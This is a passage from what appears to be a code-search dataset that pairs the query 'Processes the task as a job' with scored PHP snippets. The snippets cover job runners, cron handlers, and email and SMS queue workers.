AND UPPER( a.`street` ) like ? \";\n\t\t\t$bindVars[] = '%' . strtoupper( $find_street ). '%';\n\t\t\t$pParamHash[\"listInfo\"][\"ihash\"][\"find_street\"] = $find_street;\n\t\t}\n\t\tif( isset( $find_org ) and is_string( $find_postcode ) and $find_postcode <> '' ) {\n\t\t\t$whereSql .= \" AND UPPER( `a.postcode` ) LIKE ? \";\n\t\t\t$bindVars[] = '%' . strtoupper( $find_postcode ). '%';\n\t\t\t$pParamHash[\"listInfo\"][\"ihash\"][\"find_postcode\"] = $find_postcode;\n\t\t}\n\t\t$query = \"SELECT ci.*, a.UPRN, a.POSTCODE, a.SAO, a.PAO, a.NUMBER, a.STREET, a.LOCALITY, a.TOWN, a.COUNTY, ci.parent_id as uprn,\n\t\t\t(SELECT COUNT(*) FROM `\".BIT_DB_PREFIX.\"citizen_xref` x WHERE x.content_id = ci.content_id ) AS links, \n\t\t\t(SELECT COUNT(*) FROM `\".BIT_DB_PREFIX.\"task_ticket` e WHERE e.usn = ci.usn ) AS enquiries $selectSql \n\t\t\tFROM `\".BIT_DB_PREFIX.\"citizen` ci \n\t\t\tLEFT JOIN `\".BIT_DB_PREFIX.\"citizen_address` a ON a.content_id = ci.content_id $findSql\n\t\t\t$joinSql \n\t\t\tWHERE ci.`\".$type.\"` <> '' $whereSql ORDER BY \".$this->mDb->convertSortmode( $sort_mode );\n\t\t$query_cant = \"SELECT COUNT( * )\n\t\t\tFROM `\".BIT_DB_PREFIX.\"citizen` ci\n\t\t\tLEFT JOIN `\".BIT_DB_PREFIX.\"citizen_address` a ON a.content_id = ci.content_id $findSql\n\t\t\t$joinSql WHERE ci.`\".$type.\"` <> '' $whereSql \";\n//\t\t\tINNER JOIN `\".BIT_DB_PREFIX.\"citizen_address` a ON a.content_id = ci.content_id \n\t\t$result = $this->mDb->query( $query, $bindVars, $max_records, $offset );\n\t\t$ret = array();\n\t\twhile( $res = $result->fetchRow() ) {\n\t\t\tif (!empty($parse_split)) {\n\t\t\t\t$res = array_merge($this->parseSplit($res), $res);\n\t\t\t}\n\t\t\t$ret[] = $res;\n\t\t}\n\t\t$pParamHash[\"cant\"] = $this->mDb->getOne( $query_cant, $bindVars );\n\n\t\tLibertyContent::postGetList( $pParamHash );\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "f7913ca0b81bcdbd5e4d8ca013e09e6c", "score": "0.5054296", "text": "abstract protected function sqlGetUserList($params);", "title": "" } ]
ac781d0c8e4ac8e5bcc231e9e6978035
Processes the task as a job
[ { "docid": "7557e10609288222d171356644ea6b9d", "score": "0.7098708", "text": "public function process()\n {\n // Run the UpdatePackageInfo task\n $updateTask = Injector::inst()->create(UpdatePackageInfoTask::class);\n $updateTask->run(null);\n\n // mark job as completed\n $this->isComplete = true;\n }", "title": "" } ]
[ { "docid": "c3c2346d00154d9db881e9c52ea9fb34", "score": "0.69624466", "text": "public abstract function runJob();", "title": "" }, { "docid": "b2fdb5394269a7482ef2c1070c6ab00a", "score": "0.690567", "text": "public function doJob()\n\t{\n\t}", "title": "" }, { "docid": "44f2e1420961b289a98f139006575a8f", "score": "0.6678641", "text": "public function runTask()\n\t{\n\t\t// Check for request forgeries\n\t\tRequest::checkToken();\n\n\t\t// Incoming\n\t\t$ids = Request::getArray('id', array());\n\n\t\t// Ensure we have an ID to work with\n\t\tif (empty($ids))\n\t\t{\n\t\t\tNotify::warning(Lang::txt('COM_CRON_ERROR_NO_ITEMS_SELECTED'));\n\t\t\treturn $this->cancelTask();\n\t\t}\n\n\t\t$output = new stdClass;\n\t\t$output->jobs = array();\n\n\t\t// Loop through each ID\n\t\tforeach ($ids as $id)\n\t\t{\n\t\t\t$job = Job::oneOrFail(intval($id));\n\n\t\t\tif (!$job->get('id') || $job->get('active'))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$job->mark('start_run');\n\n\t\t\t// Show related content\n\t\t\t$results = Event::trigger('cron.' . $job->get('event'), array($job));\n\n\t\t\tif ($results && is_array($results))\n\t\t\t{\n\t\t\t\t// Set it as active in case there were multiple plugins called on\n\t\t\t\t// the event. This is to ensure ALL processes finished.\n\t\t\t\t$job->set('active', 1);\n\n\t\t\t\tforeach ($results as $result)\n\t\t\t\t{\n\t\t\t\t\tif ($result)\n\t\t\t\t\t{\n\t\t\t\t\t\t$job->set('active', 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$job->mark('end_run');\n\t\t\t$job->set('last_run', Date::toSql());\n\t\t\t$job->set('next_run', $job->nextRun());\n\t\t\t$job->save();\n\n\t\t\t$output->jobs[] = $job->toArray();\n\t\t}\n\n\t\t$this->view\n\t\t\t->set('output', $output)\n\t\t\t->setErrors($this->getErrors())\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "3f97d6b51ab2c9d4a0953eca82640585", "score": "0.65857", "text": "public function processTask($result)\n {\n }", "title": "" }, { "docid": "998fae280d08911027bdc7a11755e800", "score": "0.65468484", "text": "public function run() {\n\n\t\t$dbh = $this->worker->getInstance();\n\n\t\t$dbh->beginTransaction();\n\t\ttry {\n\n\t\t\tif($this->task->type == \"Email\"){\n\t\t\t\t$groupby = \"email_digest\";\n\t\t\t}else if($this->task->type == \"SMS\"){\n\t\t\t\t$groupby = \"mobile_digest\";\n\t\t\t}\t\n\t\t\tif(empty($this->task->group_id)){\n\t\t\t\t$sql = \"insert ignore into queue(task_id, contact_id) select \".$this->task->id.\", id from contact where contact.status = 'Subscription' group by $groupby\";\n\t\t\t}else{\n\t\t\t\t$sql = \"insert ignore into queue(task_id, contact_id) select \".$this->task->id.\", contact.id from contact, group_has_contact where group_has_contact.contact_id = contact.id and group_has_contact.group_id = :group_id and contact.status = 'Subscription' group by contact.$groupby\";\n\t\t\t}\n\n\t\t\t$sth = $dbh->prepare ( $sql );\n\t\t\tif(!empty($this->task->group_id)){\n\t\t\t\t$sth->bindValue ( ':group_id', $this->task->group_id );\n\t\t\t}\n\t\t\t//print_r($sth);\n\t\t\t$status = $sth->execute();\n\t\t\t//echo $sth->queryString;\n\t\t\tif($status){\n\n\t\t\t\t//$this->worker->logger ( sprintf(\"Queue %s\", $this->task->name) , \"last Insert Id \".$dbh->lastInsertId() );\n\t\t\t\t$this->worker->logger ( 'Queue' , sprintf(\"Task %s -> Queue\", $this->task->name) );\n\n\t\t\t\t$sql = \"update task set total = (select count(*) from queue where task_id = :task_id), status = :status where status = 'New' and id = :id\";\n\t\t\t\t$sth = $dbh->prepare ( $sql );\n\t\t\t\t$sth->bindValue ( ':task_id', $this->task->id );\n\t\t\t\t$sth->bindValue ( ':id', $this->task->id );\n\t\t\t\t$sth->bindValue ( ':status', 'Processing' );\n\t\t\t\t$status = $sth->execute ();\n\t\t\t\tif($status){\n\n\t\t\t\t\t$this->status = true;\n\n\t\t\t\t\t$sql = \"update message set status = :status where status = 'New' and id = :id\";\n\t\t\t\t\t$sth = $dbh->prepare ( $sql );\n\t\t\t\t\t$sth->bindValue ( ':id', $this->task->message_id );\n\t\t\t\t\t$sth->bindValue ( ':status', 'Sent' );\n\t\t\t\t\t$status = $sth->execute ();\n\n\t\t\t\t\t$this->worker->logger ( 'Message', sprintf(\"%s is locked.\", $this->task->message_id));\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t//$this->worker->logger ( 'SQL', $query->queryString );\n\n\t\t\t$dbh->commit();\n\n\t\t} catch ( PDOException $e ) {\n\t\t\t$this->worker->logger ( 'Exception queue', $e->getMessage( ) );\n\t\t\t$dbh->rollBack();\n\t\t} catch ( Exception $e ) {\n\t\t\t$this->worker->logger ( 'Exception queue', $e->getMessage( ) );\n\t\t\t$dbh->rollBack();\n\t\t}\n\n\t}", "title": "" }, { "docid": "024a7ba21dfe00c9f726db855e9c3ec0", "score": "0.64345735", "text": "public function handle()\n {\n //For all the images in the bucket\n //Spin up children tasks\n //Then when those are done\n //See how large of a job and\n // make new task with large memory\n // or if small enough make the pdf here\n //Finally when done put result in Queue/Callback/Incomings for requester\n }", "title": "" }, { "docid": "2cba7b5053bf764563b4eef9c53d448a", "score": "0.6373471", "text": "public static function jobForTask( Task $task ) : Job;", "title": "" }, { "docid": "5cef1e2691141c43d2420216e7923190", "score": "0.63666713", "text": "public function process() {\r\n\t\t//Init status in db\r\n\t\t$timer = new sfTimer();\r\n\t\t$timer->startTimer();\r\n\t\t\r\n\t\t$hasError = false;\r\n\t\t$this->setStatus('in_progress');\r\n\t\t$this->setExecutedAt(date('Y-m-d H:m:s'));\r\n\t\t$this->save();\r\n\r\n\t\t//process the job\r\n\t\ttry {\r\n\t \t\t$params = unserialize($this->getJobParams());\r\n\t $table = Doctrine_Core::getTable($this->getTableClassName());\r\n\t $table->{$this->getFunctionName()}($params);\r\n\t\t} catch (Exception $e) {\r\n\t\t\t$hasError = true;\r\n\t\t\t$this->setStatus('has_error');\r\n\t\t\t$this->setNote($e->__toString());\r\n\t\t\t$this->save();\r\n\t\t}\r\n\t\t\r\n\t\tif (!$hasError) {\r\n\t //finalise the status in db\r\n\t $this->setStatus('done');\r\n\t $this->setDuration($timer->addTime());\r\n\t\t\t$this->save();\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "894539ddd1996103a5e3e38e2120935d", "score": "0.6292017", "text": "public function process()\n\t{\n\t\t$token \t\t\t= $this->getToken();\n\t\tif(empty($token)){\n\t\t\t//JXITODO : Create Error log\n\t\t}\n\t\t\n\t\t$relevant_data = JXiFormsHelperQueue::fetchData($token, true);\n\n\t\t$action = JXiformsAction::getInstance($this->getActionId());\n\t\t$result = $action->process($relevant_data['data'], $relevant_data['attachments']);\n\t\t\n\t\t//when action has been performed successfully \n\t\t//on the data then change the status of the queue\n\t\tif($result === true ){\n\t\t\t$this->set('status', self::STATUS_PROCESSED)\n\t\t\t\t ->save();\n\t\t}\n\n\t\treturn $result;\n\t\t//JXITODO : if process is not successfull then do not change the queue status else mark it as processed\n\t}", "title": "" }, { "docid": "8caa305e6f1cafc76dee26dae2929496", "score": "0.62592065", "text": "function run(){\n\t\t$this->parseRequest();\n\t\t// directly return status if jobKey request:\n\t\tif( !isset( $this->jobKey ) ){\n\t\t\t$this->addJob();\n\t\t}\n\t\t// output job status\n\t\t$this->outputStatus();\n\t}", "title": "" }, { "docid": "2759c662fbddff49d86f5ec812de9937", "score": "0.6167163", "text": "public function execute()\n\t{\n\t\t// Incoming task\n\t\t$this->_task = strtolower(Request::getCmd('task', ''));\n\n\t\t$doTask = null;\n\n\t\t// Check if the default task is set\n\t\tif (!$this->_task)\n\t\t{\n\t\t\tif (isset($this->_taskMap['__default']))\n\t\t\t{\n\t\t\t\t$doTask = $this->_taskMap['__default'];\n\t\t\t}\n\t\t}\n\t\t// Check if the task is in the taskMap\n\t\telse if (isset($this->_taskMap[$this->_task]))\n\t\t{\n\t\t\t$doTask = $this->_taskMap[$this->_task];\n\t\t}\n\n\t\t// Raise an error (hopefully, this shouldn't happen)\n\t\tif (!$doTask)\n\t\t{\n\t\t\tthrow new InvalidTaskException(Lang::txt('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $this->_task), 404);\n\t\t}\n\n\t\t// Record the actual task being fired\n\t\t$doTask .= 'Task';\n\n\t\t// Call the task\n\t\t$this->$doTask();\n\t}", "title": "" }, { "docid": "0575fc82d871e07b74271e668b7213f4", "score": "0.6100731", "text": "public function process() {\n $this->doProcess();\n }", "title": "" }, { "docid": "8a92fb971176a2a31c96c81ddb164799", "score": "0.6082315", "text": "public function run() {\n\t\t$this->worker->getInstance ();\n\t\t//$dbh->setAttribute ( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );\n\t\ttry {\n\t\t\t$contacts = $this->worker->getContact($this->task->id,'email');\n\t\t\tforeach($contacts as $contact){\n $status = $this->worker->setQueueStatus($this->task->id,$contact->id,\"Processing\");\n\t\t\t\tif($status){\n\t\t\t\t\t$message = str_replace(\"{{name}}\", $contact->name,$this->message->content);\n\t\t\t\t\t$title = str_replace(\"{{name}}\", $contact->name,$this->message->title);\n\t\t\t\t\t$this->worker->logger ( 'Queue Email', sprintf ( \"Processing %s %s<%s>, %s\", $this->task->name, $contact->name, $contact->email, $title ) );\n\n\t\t\t\t\t$this->send($contact->email, $title, $message);\n $this->worker->setQueueStatus($this->task->id,$contact->id,\"Completed\");\n\t\t\t\t\t$this->worker->logger ( 'Queue Email', sprintf ( \"Completed %s %s\", $this->task->name, $contact->email ) );\n\t\t\t\t}\n\t\t\t}\n\t\t} catch ( Exception $e ) {\n\t\t\t$this->worker->logger ( 'Exception Email ', $e->getMessage( ) );\n\t\t}\n\t}", "title": "" }, { "docid": "15d038521f54a9b72731467febf20432", "score": "0.6075516", "text": "public function getJob();", "title": "" }, { "docid": "15d038521f54a9b72731467febf20432", "score": "0.6075516", "text": "public function getJob();", "title": "" }, { "docid": "70a8f94effbc786fff13ec6e91b2afd1", "score": "0.6055908", "text": "public function job()\n {\n\t\t$this->load->model('actions_model');\n\n\t\t// Query Actions Table for \"actions\"\n\t\t$actions = $this->actions_model->get_actions_view();\n\n\t\t$this->load->library('places/places_igniter');\n\n\n\t\t// Loop through \"actions\"\n\t\tforeach($actions as $action)\n\t\t{\n\t\t\t// Is Not Complete (weekly, daily, hourly)\n\t\t\tif ($action->status == 'sent')\n\t\t\t{\n\t\t\t\t// Weekly\n\t\t\t\tif ($action->action_life == 'weekly')\n\t\t\t\t{\n\t\t\t\t\t$this_week = date('W');\n\n\t\t\t\t\tif ($this_week != date('W', mysql_to_unix($action->completed_at)))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->process_action($action);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Daily\n\t\t\t\telseif ($action->action_life == 'daily')\n\t\t\t\t{\n\t\t\t\t\t$today = date('d');\n\n\t\t\t\t\tif ($today != date('d', mysql_to_unix($action->completed_at)))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->process_action($action);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Hourly\n\t\t\t\telseif ($action->action_life == 'hourly')\n\t\t\t\t{\n\t\t\t\t\t$today = date('H');\n\n\t\t\t\t\tif ($today != date('H', mysql_to_unix($action->completed_at)))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->process_action($action);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($action->status == 'waiting')\n\t\t\t{\n\t\t\t\t$this->process_action($action);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo 'Action Status: '.$action->status;\n\t\t\t}\n\t\t}\n }", "title": "" }, { "docid": "dc44f6f06566663591a25b34436dc8c0", "score": "0.6041552", "text": "protected function _runTask() {\n $data = $this->getTask()->getTaskData();\n $data = unserialize($data);\n $queueId = $data['queue_id'];\n $storeId = $data['store_id'];\n $queue = Mage::getModel('newsletter/queue')->load($queueId);\n $queue->setQueueStartAt(Mage::getSingleton('core/date')->gmtDate())\n ->setQueueStatus(Mage_Newsletter_Model_Queue::STATUS_SENDING)\n ->save();\n $queue->setStoreId($storeId);\n $queue->setTask($this->getTask());\n\n return $queue->sendPerSubscriber();\n }", "title": "" }, { "docid": "aeeda1f464ebf7ffe3dd5a0cc6edaf2a", "score": "0.60137707", "text": "abstract public function createJob();", "title": "" }, { "docid": "1149df647a0d0808fcb8c2f67ae2ecfd", "score": "0.5937209", "text": "function proccessJobReq(){\n\n\t\tif( isset( $this->mParams['jobset']) && $this->mParams['jobset']){\n\t\t\t$job = WahJobManager::getNewJob( $this->mParams['jobset'] );\n\t\t}else{\n\t\t\t$job = WahJobManager::getNewJob();\n\t\t}\n\n\t\tif(!$job){\n\t\t\treturn $this->getResult()->addValue( null, $this->getModuleName(),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'nojobs' => true\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t}else{\n\t\t\t$job4Client = array();\n\t\t\t//unpack the $job_json\n\t\t\t$job4Client['job_json'] \t= FormatJson::decode( $job->job_json ) ;\n\t\t\t//we set the job key to job_id _ sha1\n\t\t\t$job4Client['job_key'] \t\t= $job->job_id . '_'. sha1( $job->job_json );\n\t\t\t$job4Client['job_title']\t= $job->title;\n\t\t\t$job4Client['job_ns']\t\t= $job->ns;\n\t\t\t$job4Client['job_set_id'] \t= $job->job_set_id;\n\n\t\t\t$tTitle = Title::newFromText($job->title, $job->ns);\n\n\t\t\t$job4Client['job_fullTitle'] = $tTitle->getFullText();\n\n\t\t\t//@@todo avoid an api round trip return url here:\n\t\t\t//$job4Client['job_url'] = $file->getFullURL();\n\n\t\t\t$this->getResult()->addValue(\n\t\t\t\tnull,\n\t\t\t\t$this->getModuleName(),\n\t\t\t\tarray(\n\t\t\t\t\t'job' => $job4Client\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "1b38d1801f8571f6ea7772e55566f926", "score": "0.5924036", "text": "abstract protected function performWork();", "title": "" }, { "docid": "4f942c496a55ac22a902766b6df0b168", "score": "0.5894496", "text": "public function getJobId()\n {\n }", "title": "" }, { "docid": "226d5bee9417000b5b6889b756a90706", "score": "0.588645", "text": "function __hey_scheduler_run_single_task($task)\n{\n set_time_limit(-1);\n\n // right blog?\n if (get_current_blog_id() != $task->blog_id) {\n switch_to_blog($task->blog_id);\n }\n\n // do the action!\n do_action_ref_array($task->action, unserialize($task->payload));\n\n // if we're still alive, the task must have completed successfully - remove from the queue\n global $wpdb;\n /** @var $wpdb wpdb */\n $wpdb->delete($wpdb->base_prefix . 'hey_scheduler', [\n 'id' => $task->id\n ]);\n}", "title": "" }, { "docid": "29dc5d652d409ebf664e0c6d310c270c", "score": "0.58735454", "text": "public function process()\n {\n $chunkSize = self::config()->get('chunk_size');\n $count = 0;\n\n // Remove any URLs which have already been processed\n if (empty($this->jobData->ProcessedURLs)) {\n $this->jobData->ProcessedURLs = [];\n }\n if ($this->jobData->ProcessedURLs) {\n $this->jobData->URLsToProcess = array_diff_key(\n $this->jobData->URLsToProcess,\n $this->jobData->ProcessedURLs\n );\n }\n\n foreach (array_keys($this->jobData->URLsToProcess) as $url) {\n $this->addMessage('Processing ' . $url);\n if (++$count > $chunkSize) {\n break;\n }\n $meta = Publisher::singleton()->publishURL($url, true);\n if (empty($meta['success'])) {\n $this->addMessage('Error Publishing' . $url);\n } else {\n $this->addMessage('Success Publishing' . $url);\n $this->jobData->ProcessedURLs[$url] = $url;\n unset($this->jobData->URLsToProcess[$url]);\n }\n }\n if (empty($this->jobData->URLsToProcess)) {\n $trimSlashes = function ($value) {\n return trim($value, '/');\n };\n $this->jobData->publishedURLs = array_map($trimSlashes, Publisher::singleton()->getPublishedURLs());\n $this->jobData->ProcessedURLs = array_map($trimSlashes, $this->jobData->ProcessedURLs);\n $this->jobData->URLsToCleanUp = array_diff($this->jobData->publishedURLs, $this->jobData->ProcessedURLs);\n\n foreach ($this->jobData->URLsToCleanUp as $staleURL) {\n $purgeMeta = Publisher::singleton()->purgeURL($staleURL);\n if (! empty($purgeMeta['success'])) {\n unset($this->jobData->URLsToCleanUp[$staleURL]);\n }\n }\n }\n $this->isComplete = empty($this->jobData->URLsToProcess) && empty($this->jobData->URLsToCleanUp);\n }", "title": "" }, { "docid": "03ce0c8fc5c7a6210700b7617d449d03", "score": "0.5866434", "text": "public function handle()\n\t{\n\t\t$this->dispatcher->dispatchNow($this->job);\n\t}", "title": "" }, { "docid": "6cff0d92c79154f4757dbf450654234c", "score": "0.5826747", "text": "function handleCronJob() {\n \n }", "title": "" }, { "docid": "94698130aa7902e0d58a085c67dbc4ff", "score": "0.58257246", "text": "public function process() { }", "title": "" }, { "docid": "7d965e7cda3d60dd087b58084cf4a27f", "score": "0.58221114", "text": "public function execute(): IJobManager;", "title": "" }, { "docid": "55502a9e23f923af4b7a7811086f2668", "score": "0.5819946", "text": "public function s3_get_processing_callback($task)\n {\n // Tell SWF we alive !\n $this->send_heartbeat($task);\n\n // Send progress through CTCom to notify client of download\n $this->CTCom->activity_preparing($task);\n }", "title": "" }, { "docid": "679108c3af11b0cdb96d5e35ab8c589b", "score": "0.5815147", "text": "function drush_mcl_rerun_job($job_id, $filepath) {\n\n // Checks arguments.\n $args = array(\n 'job_id' => $job_id,\n );\n if ($filepath) {\n $args['filepath'] = $filepath;\n }\n if (!mcl_check_arguments($args)) {\n mcl_print(\"Error : Please check arguments\", 1, 3);\n exit;\n }\n\n // Gets MCL_JOB_UPLOAD.\n $mcl_job = MCL_JOB_UPLOAD::byKey(array('job_id' => $job_id));\n\n // Gets and sets process ID.\n $pid = getmypid();\n $mcl_job->setPID($pid);\n\n // Gets ans sets the last run date.\n $mcl_job->setPropByKey('last_run', date(\"Y-m-d G:i:s\"));\n\n // Checks the status option.\n $status = drush_get_option('status');\n if ($status) {\n if (is_numeric($status)) {\n\n // Sets the status.\n $mcl_job->setStatus($status);\n }\n else {\n mcl_print(\"Error : The status ($status) is not numeric\", 1, 3);\n exit;\n }\n }\n\n // Checks the force option.\n $force = drush_get_option('force');\n $force = ($force) ? TRUE : FALSE;\n $mcl_job->setForce($force);\n\n // Checks the move_input option.\n $move_input = drush_get_option('move_input');\n $move_input = ($move_input) ? TRUE : FALSE;\n\n // Checks the transaction option.\n $no_transaction = drush_get_option('no_transaction');\n $transaction = ($no_transaction) ? FALSE : TRUE;\n $mcl_job->setPropByKey('transaction', $transaction);\n\n // Checks the working_dir option.\n $working_dir = drush_get_option('working_dir');\n if ($working_dir) {\n if (!mcl_check_working_dir($working_dir)) {\n exit;\n }\n $mcl_job->changeWorkingDir($working_dir);\n }\n\n // Overwrites the input file.\n if ($filepath) {\n\n // Gets the new filepath.\n $file_dir = $mcl_job->getJobDir() . '/files';\n $new_filepath = $file_dir . '/' . basename($filepath);\n\n // Set the new filepath.\n $file_id = $mcl_job->getParamByKey('file_id');\n $mcl_file = MCL_FILE::byKey(array('file_id' => $file_id));\n $mcl_file->setFilepath($new_filepath);\n $mcl_file->update();\n $mcl_job->setUploadFile($mcl_file);\n\n // Copies it over.\n $cmd = ($move_input) ? \"mv $filepath $new_filepath\" : \"cp $filepath $new_filepath\";\n exec($cmd, $return_var);\n if (!empty($return_var)) {\n mcl_print(\"Fail to overwrite the file\", 1, 2);\n mcl_print($cmd, 1, 3);\n exit;\n }\n }\n\n // Sets the status to be 0 if\n // - status is negative.\n // - filepath is not empty.\n if ($mcl_job->getStatus() < 0 || $filepath) {\n $mcl_job->setStatus(0);\n }\n\n // Updates all changes of the job properties.\n $mcl_job->update();\n\n // Launches the job.\n mcl_print(\"Re-running the job ($job_id)\", 1, 2);\n $manager = new MCL_JOB_MANAGER();\n $status = $manager->processJob($mcl_job);\n if ($status) {\n mcl_print(\"DONE : The uploading job was completed without an error.\", 1, 4);\n\n // Sets the complete date if it has no date. Keep the first one.\n $complete_date = $mcl_job->getCompleteDate();\n if (!$complete_date) {\n $mcl_job->setCompleteDate(date(\"Y-m-d G:i:s\"));\n $mcl_job->update();\n }\n }\n else {\n $job_id = $mcl_job->getJobID();\n $opt_working_dir = '--working_dir=' . $mcl_job->getWorkingDir();\n mcl_print(\"DONE : The job (Job ID = $job_id) was completed with some errors\", 1, 2);\n mcl_print(\"Please fix the errors and re-run this job\", 2, 2);\n mcl_print(\">drush mcl-rerun-job $job_id $filepath $opt_working_dir\", 2, 4, FALSE);\n }\n}", "title": "" }, { "docid": "459c858aebcc33305c05df23d2c011e8", "score": "0.58136094", "text": "public function task($data, $dst_worker_id = -1) {}", "title": "" }, { "docid": "aec4289e89bbc69e0c4d8b8c0cc6bfaf", "score": "0.57889503", "text": "function runTask()\n {\n\n // Prepare Connection\n $this->connector->setDirtyRead();\n $this->connector->executeSQL(\"SET LOCK MODE TO WAIT 10\");\n\n\n // Get outbound delivery queue\n $this->setOutboundQueue();\n\n while ( true )\n {\n // Build Required Temporary Tables on a periodic refresh basis\n $this->buildTemporaryTables();\n\n // Clear out dcd prediction history up to 2 hours ago\n $this->connector->executeSQL(\"DELETE FROM dcd_prediction WHERE send_time < CURRENT - 2 UNITS HOUR\");\n\t\t\n // Update displays with messages\n $this->deliverMessages();\n\n sleep(10);\n }\n }", "title": "" }, { "docid": "6447693f4e27438d15aec13caf582139", "score": "0.5786821", "text": "public function execute()\n { \n //check if another instance of that cron is running\n $job_lock = $this->_checkjoblock(); //dump($job_lock);\n //Log::instance()->add(LOG_DEBUG,'Cron->execute - job_lock:'.$job_lock);\n\n if ($job_lock==-1)\n { \t \n //create cronjob in DB \n $id_cronjob = Model_Cronjob::create_job($this->_id_cron);//dump($id_cronjob);\n \n //in case its a callback with parameters, be awate prams needs to be an array same order values as params in function\n if (is_array($this->_callback))\n {\n //Log::instance()->add(LOG_DEBUG,'Cron->execute - is array callback: '.$this->_callback['function']);\n $pid = exec::background($this->_callback['function'],$this->_callback['params'],$id_cronjob);\n }\n //normal callback to a function no params\n else\n {\n //Log::instance()->add(LOG_DEBUG,'Cron->execute - no array callback: '.$this->_callback);\n $pid = exec::background($this->_callback,NULL,$id_cronjob);\n }\n //save $pid in cronjobs table\n Model_Cronjob::update_PID($id_cronjob,$pid);//return $pid;\n }\n else //found another process working on this creates cronjob in DB explaining which cronjob locked him \n {\n Model_Cronjob::create_job($this->_id_cron,$job_lock);\n }\n\n }", "title": "" }, { "docid": "5f6ae539e132defe10b8e8001d2efea6", "score": "0.5766295", "text": "function drush_mcl_run() {\n\n // Shows job type if specifed.\n mcl_print(\"Running uploading job in queue.\", 1, 2);\n\n // Launches jobs.\n $manager = new MCL_JOB_MANAGER();\n $manager->processJobs('upload');\n mcl_print(\"DONE\", 1, 3);\n}", "title": "" }, { "docid": "96a858b994da249b169ccc7a29c7e530", "score": "0.5755669", "text": "public function run()\n {\n Mage::getModel('msp_qapla/queue')->process();\n }", "title": "" }, { "docid": "d9d4967dc4e46ac8c67d36371b40ef58", "score": "0.5755285", "text": "public function handle()\n {\n\n $jobs = Job::where('status', job::STATUS_PENDING)\n ->orderByDesc('id')\n ->get()\n ->groupBy('priority');\n\n if (!count($jobs)) {\n Log::info('There is no job');\n }\n\n $job = null;\n\n if (isset($jobs[Job::PRIORITY_HIGH])) {\n $job = $jobs[Job::PRIORITY_HIGH]->first();\n }\n if (!empty($job) && isset($jobs[Job::PRIORITY_NORMAL])) {\n $job = $jobs[Job::PRIORITY_NORMAL]->first();\n }\n\n if (!empty($job)) {\n\n DB::transaction(function () use ($job) {\n\n $jobUsers = $job->jobUsers()->lockForUpdate()->take(1)->get();\n\n if (!count($jobUsers)) { // to share reading ability btw multiple workers\n\n Log::info('There is no user in this job');\n $job->status = Job::STATUS_FINISHED;\n $job->save();\n return;\n\n }\n\n foreach ($jobUsers as $jobUser) {\n\n $status = JobUser::STATUS_PENDING;\n\n try {\n\n $transport = new \\Swift_SmtpTransport(env('MAIL_HOST', '127.0.0.1'), env('MAIL_PORT', 25));\n $transport->setUsername(env('MAIL_USERNAME', ''));\n $transport->setPassword(env('MAIL_PASSWORD', ''));\n $transport->setEncryption(env('MAIL_ENCRYPTION', ''));\n if (php_sapi_name() == 'cli') {\n $transport->setLocalDomain(env('MAIL_LOCAL_DOMAIN', '127.0.0.1'));\n }\n\n $mailer = new \\Swift_Mailer($transport);\n\n $message = new \\Swift_Message();\n $message->setSubject('Mail from worker');\n $message->setFrom(['[email protected]' => 'No reply']);\n $message->setTo($jobUser->user->email);\n\n $bodyView = View::make('emails.test', []);\n $message->setBody($bodyView->render(), 'text/html');\n\n // adding plain text\n $textView = View::make('emails.test' . '_text', []);\n $message->addPart($textView->render(), 'text/plain');\n\n $result = $mailer->send($message);\n\n if ($result) {\n $status = JobUser::STATUS_SENT;\n }\n\n } catch (\\Exception $e) {\n\n $status = JobUser::STATUS_FAILED;\n Log::info($jobUser->user->email . ' ' . $e->getMessage() . ' ' . $e->getcode());\n }\n\n JobUser::where('job_id', $jobUser->job_id)\n ->where('user_id', $jobUser->user_id)\n ->update(['status' => $status]);\n }\n\n });\n }\n\n }", "title": "" }, { "docid": "28fe338fa912d00e64f219f2ea136572", "score": "0.57550883", "text": "public static function process()\n {\n $data = ['action' => 'test_process', 'data' => [ 'id' => 123 ]];\n $result = self::execute($data);\n\n echo 'master:['.\\Swover\\Utils\\Worker::getMasterPid().'] current:['.posix_getpid().'-'.\\Swover\\Utils\\Worker::getChildStatus().']'\n .$result.PHP_EOL;\n }", "title": "" }, { "docid": "653a18d396d3ec5ae077c8192a8ef385", "score": "0.57210666", "text": "private function processSchedule()\n\t{\n\t\tforeach($this->jobSchedule as $jobId => $job)\n\t\t{\n\t\t\t$code = $job->getJobCode();\n\t\t\t$errorMessage = null;\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t// Mark job as running\n\t\t\t\t$start = time();\n\t\t\t\t$job->setStatus(Mage_Cron_Model_Schedule::STATUS_RUNNING);\n\t\t\t\t$job->setExecutedAt($start);\n\t\t\t\t$job->save();\n\n\t\t\t\t// ie: Pure360_List_Job_Sync\n\t\t\t\t$parts = explode('_', $code);\n\t\t\t\t$module = ucfirst(strtolower($parts[1]));\n\t\t\t\t$name = ucfirst(strtolower($parts[2]));\n\t\t\t\t$class = 'Pure360_' . $module . '_Job_' . $name;\n\n\t\t\t\t// Instantiate and run job\n\t\t\t\t$c = new $class;\n\t\t\t\t$c->setData($job);\n\t\t\t\t$c->process();\n\n\t\t\t\t// Mark job as processed\n\t\t\t\t$finish = time();\n\t\t\t\t$job->setStatus(Mage_Cron_Model_Schedule::STATUS_SUCCESS);\n\t\t\t\t$job->setFinishedAt($finish);\n\t\t\t\t$job->save();\n\t\t\t\t\n\t\t\t} catch(Pure360_Exception_ValidationException 